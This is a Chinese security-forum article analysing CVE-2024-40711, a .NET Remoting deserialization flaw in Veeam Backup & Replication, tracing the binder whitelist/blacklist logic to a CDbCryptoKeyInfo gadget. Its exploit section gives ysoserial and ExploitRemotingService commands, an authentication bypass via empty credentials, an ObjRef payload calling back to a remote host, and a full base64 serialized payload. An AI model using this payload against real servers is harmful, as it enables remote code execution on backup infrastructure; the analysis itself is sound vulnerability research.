问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.Net Remoting 系列三:Veeam Backup RCE (CVE-2024-40711)
漏洞分析
本次带来一个相对完整的分析案例
前置知识 ---- <https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html> <https://github.com/codewhitesec/RogueRemotingServer> Remoting代码逻辑分析 -------------- 按照之前的思路: 1. 注册的Channel类型(全局搜ChannelServices#RegisterChannelInternal) 2. sinkProviderChains 3. TypeFilterLevel 4. 注册的objecturi(全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal) 5. 处理消息逻辑(`IServerChannelSink#ProcessMessage`的实现) 首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类,但是并没有自定义的ServerChannel,搜索`ChannelServices#RegisterChannelInternal`的调用找到注册ServerChannel的地方: ![Pasted image 20240911111358.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8caddf97a05f943cf69ec767708203f27ada5c40.png) 挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel,具体调用代码如下: ```php private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor) { TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor); // 开启认证 tcpServerChannel.IsSecured = true; ChannelServices.RegisterChannel(tcpServerChannel, true); CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel); return tcpServerChannel; } ``` 注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor,这里放到后面再说,我们先梳理sinkProviderChains。 继续查找调用寻找sinkProvider定义的地方: ```php //其构造函数 private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider) { this._commonChannelName = commonChannelName; this._port = port; //调用GetSinkProvider方法 IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider); CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor(); if (Socket.OSSupportsIPv4) { TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor); this._channelIPv4Name = tcpServerChannel.ChannelName; } ...... } ``` 跟进GetSinkProvider方法 ```php private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider) { IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider); if (monitor != null) { serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider); } if (impersonation != null) { serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider); } return serverChannelSinkProvider; } ``` 这里使用的是**CBinaryServerFormatterSink**作为FormatterSink,TransportSink使用的默认TcpServerTransportSink,整个服务端的sinkProviderChains:`TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink` 同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low 追溯到启动类发现监听的端口为9392,服务名为`Veeam.Backup.Service.exe`(tcp://IP:9392/VeeamClientUpdateService )。 最后找到对应的ProcessMessage方法梳理处理消息的逻辑,主要代码如下: ```php public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream) { ServerProcessing serverProcessing; using (LogRegistration.RegisterSafe(this._logStorage)) { ...... string text = (string)requestHeaders["Content-Type"]; string text2 = (string)requestHeaders["__RequestVerb"]; ...... //部分省略 requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders); if (requestMsg == null) { throw new RemotingException("Remoting Deserialize Error"); } IMethodMessage methodMessage = requestMsg as IMethodMessage; if (methodMessage != null) { string text3 = requestHeaders["access_token"] as string; Dictionary<string, object> dictionary; EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary); if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid) { this.EnsureMfa(requestHeaders); } this.EnsureAccessIsAllowed(methodMessage); } sinkStack.Push(this, null); ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream); if (responseStream != null) { throw new RemotingException("Remoting_ChnlSink_WantNullResponseStream"); } switch (serverProcessing2) { case ServerProcessing.Complete: if (responseMsg == null) { throw new RemotingException("Remoting_DispatchMessage"); } sinkStack.Pop(this); this.AddSessionToken(requestHeaders, ref responseHeaders); CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream); this.AdditionalyLogResponse(responseMsg); ...... } } } return serverProcessing; } ``` 调用DeserializeBinaryRequestMessage方法执行反序列化的操作,也是整个过程中最关键的,实现如下 ```php //Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders) { IMessage message; try { message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null); } finally { requestStream.Close(); } return message; } //Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter private static BinaryFormatter CreateFormatter(bool serializingResponse) { BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist); binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other); binaryFormatter.FilterLevel = TypeFilterLevel.Low; binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full; if (!serializingResponse) { binaryFormatter.SurrogateSelector = new CDataSerializationSurogate(); } else { ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector(); surrogateSelector.ChainSelector(new CDataSerializationSurogate()); binaryFormatter.SurrogateSelector = surrogateSelector; } return binaryFormatter; } ``` 这儿有两点需要注意: 1. 定义了RestrictedSerializationBinder设置反序列化白名单或黑名单 2. 定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理 首先看RestrictedSerializationBinder是如何防御的,关注ResolveType方法和BindToType方法,如果仅仅使用CustomSerializationBinder是可以绕的,数据流:`CustomSerializationBinder#BindToType-->RestrictedSerializationBinder#ResolveType-->RestrictedSerializationBinder#EnsureTypeIsAllowed`关键代码如下: ```php // Veeam.Backup.Common.CustomSerializationBinder public class CustomSerializationBinder : SerializationBinder { public override Type BindToType(string assemblyName, string typeName) { return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType)); } protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key) { return SBinderHelper.ResolveType(key); } // Veeam.Backup.Common.RestrictedSerializationBinder public sealed class RestrictedSerializationBinder : CustomSerializationBinder { public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist) { this._serializingResponse = serializingResponse; this._mode = mode; } ...... protected override Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key) { this.EnsureTypeIsAllowed(key); Type type = base.ResolveType(key); RestrictedSerializationBinder.CheckIsRestrictedType(type); return type; } private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key) { if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting) { this.EnsuredBlackWhitelistsAreLoaded(); string text = key.Item2 + ", " + key.Item1; if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist) { RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text); return; } if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist) { RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text); } } } ``` RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式,整个Remoting处理用的是白名单模式,这儿并不是先白名单后黑名单校验,而是二选一于是有了可乘之机。 漏洞分析 ---- 一共五处调用最终找到一处调用使用的是黑名单模式 ![Pasted image 20240912103648.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-10d434244a33001a540af56a37d8a897fd28d667.png) 代码如下: ```php // Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize public static T Deserialize<T>(string input) { T t; try { byte[] array = Convert.FromBase64String(input); BinaryFormatter binaryFormatter = new BinaryFormatter { Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist) }; t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter); } ``` 妥妥的反序列化,老外通过对比补丁新增了一个`ObjRef`的链,该链子在反序列化的过程中只会反序列化`System.Runtime.Remoting.ObjRef`和`System.Exception`,执行命令时不会触发其他黑名单。 可以将`Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize`作为一个跳板,找到一处调用该方法并处于白名单中的类,就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类 ```php // Veeam.Backup.Model.CDbCryptoKeyInfo private readonly List<CRepairRec> _repairRecs = new List<CRepairRec>(); protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context) { this.Id = (Guid)info.GetValue("Id", typeof(Guid)); byte[] array = (byte[])info.GetValue("KeySetId", typeof(byte[])); this.KeySetId = new CKeySetId(array); this.KeyType = (EDbCryptoKeyType)((int)info.GetValue("KeyType", typeof(int))); this.EncryptedKeyValue = Convert.FromBase64String(info.GetString("DecryptedKeyValue")); this.Hint = info.GetString("Hint"); this.ModificationDateUtc = info.GetDateTime("ModificationDateUtc").SpecifyDateTimeUtc(); this.CryptoAlg = (ECryptoAlg)info.GetInt32("CryptoAlg"); this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>((string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>(); this.Version = info.GetInt64("Version"); this.BackupId = (Guid)info.GetValue("BackupId", typeof(Guid)); this.IsImported = info.GetBoolean("IsImported"); } ``` 总结下: 1. 无需自定义Channel(TcpServerChannel) 2. 开启了认证(CConnectionInterceptor)、low type filter 3. 存在一个URI为tcp://IP:9392/VeeamClientUpdateService 4. 整个利用链.Net Remoting --> CDbCryptoKeyInfo( 白名单 ) --> CProxyBinaryFormatter.Deserialize ( 黑名单objref )--> RCE EXP构造 ----- 需要用到ExploitRemotingService,有点小改动我编译之后放到[这儿了](https://github.com/g7shot/ExploitRemotingService)。这儿的改动其实就是绕过其认证的,将用户密码置空就能绕过,CConnectionInterceptor类实际上未处理只是返回true。 ![Pasted image 20240918165455.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f84217c6bbb8711f8a75096708326ce2c3639694.png) 然后构造ObjRef ```php ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa // 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL ``` 重定义CDbCryptoKeyInfo序列化过程,传入上面生成的poc序列化: ```php [Serializable] public class CDbCryptoKeyInfoWrapper : ISerializable { private string[] _fakeList; public CDbCryptoKeyInfoWrapper(string[] _fakeList) { this._fakeList = _fakeList; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(CDbCryptoKeyInfo)); info.AddValue("Id", Guid.NewGuid()); info.AddValue("KeySetId", null); info.AddValue("KeyType", 1); info.AddValue("Hint", "aaaaa"); info.AddValue("DecryptedKeyValue", "AAAA"); info.AddValue("LocaleLCID", 0x409); info.AddValue("ModificationDateUtc", new DateTime()); info.AddValue("CryptoAlg", 1); info.AddValue("RepairRecs", _fakeList); } } ``` 传入生成的CDbCryptoKeyInfo序列化数据,再通过ExploitRemotingService发送POC ```php ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTIuMS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQUBAAAAI1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcnlwdG9LZXlJbmZvCQAAAAJJZAhLZXlTZXRJZAdLZXlUeXBlBEhpbnQRRGVjcnlwdGVkS2V5VmFsdWUKTG9jYWxlTENJRBNNb2RpZmljYXRpb25EYXRlVXRjCUNyeXB0b0FsZwpSZXBhaXJSZWNzAwIAAQEAAAAGC1N5c3RlbS5HdWlkCAgNCAIAAAAE/f///wtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgIC1f56MNPo3kO39y2SXeUREAoBAAAABgQAAAAFYWFhYWEGBQAAAARBQUFBCQQAAAAAAAAAAAAAAQAAAAkGAAAAEQYAAAABAAAABgcAAADkAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQkJUZVhOMFpXMHVSWGhqWlhCMGFXOXVBUUFBQUFsRGJHRnpjMDVoYldVREhsTjVjM1JsYlM1U2RXNTBhVzFsTGxKbGJXOTBhVzVuTGs5aWFsSmxaZ2tDQUFBQUJBSUFBQUFlVTNsemRHVnRMbEoxYm5ScGJXVXVVbVZ0YjNScGJtY3VUMkpxVW1WbUFRQUFBQU4xY213QkJnTUFBQUFkYUhSMGNEb3ZMekV3TGpFd05pNHlOQzR4TURVNk1qTTBOUzloWVdFTAs= ``` ![Pasted image 20240918170256.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8a18161568212d30a12b82ba3415822a9b9fe655.png) 总结 -- 当`TypeFilterLevel.Low`时,可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。 参考 -- <https://github.com/codewhitesec/RogueRemotingServer> <https://github.com/tyranid/ExploitRemotingService> <https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/>
发表于 2024-12-25 10:42:01
阅读 ( 529 )
分类:
WEB安全
0 推荐
收藏
0 条评论
请先
登录
后评论
g7shot
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!